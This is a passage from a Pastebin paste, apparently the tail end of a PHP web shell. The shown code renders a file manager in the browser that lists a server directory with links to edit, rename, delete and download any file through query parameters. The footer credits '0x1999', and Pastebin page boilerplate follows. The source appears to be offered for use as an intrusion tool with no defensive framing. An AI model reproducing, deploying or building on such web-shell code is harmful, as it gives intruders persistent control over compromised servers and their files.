  2241.             <a id=\"".clearspace($file)."_link\" href='?act=view&dir=$dir&file=$dir/$file'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='>  $file</a>
  2242.        
  2243.     <form method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2244.         <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  2245.         <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"rename\" value=\"".$file."\" />
  2246.         <input type=\"submit\" name=\"do_rename\" value=\"rename\" />
  2247.         <input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_form','".clearspace($file)."_link');\" />
  2248.     </form>
  2249.            
  2250.            
  2251.            
  2252.             ";
  2253.             echo "<td class='td_home'><center>$ftype</center></td>";
  2254.             echo "<td class='td_home'><center>$size</center></td>";
  2255.             echo "<td class='td_home'><center>".w("$dir/$file",permissions("$dir/$file"))."</center></td>";
  2256.             echo "<td class='td_home'>$ftime</td>";
  2257.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2258.         }
  2259.         echo "</tr></table>";
  2260.     } else {
  2261.         echo "<font color=red>can't open directory</font>";
  2262.     }
  2263.    
  2264.  
  2265.        
  2266.     ?></table>
  2267.                 <div style="background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;">
  2268.                     <center>
  2269.                         Copyright © 2017 - 0x1999 </div>
  2270.  
  2271.                 <?php
  2272.    
  2273. }
  2274. @ob_flush();       
  2275. ?>
  2276.  
  2277.                 </body>
  2278.  
  2279.     </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!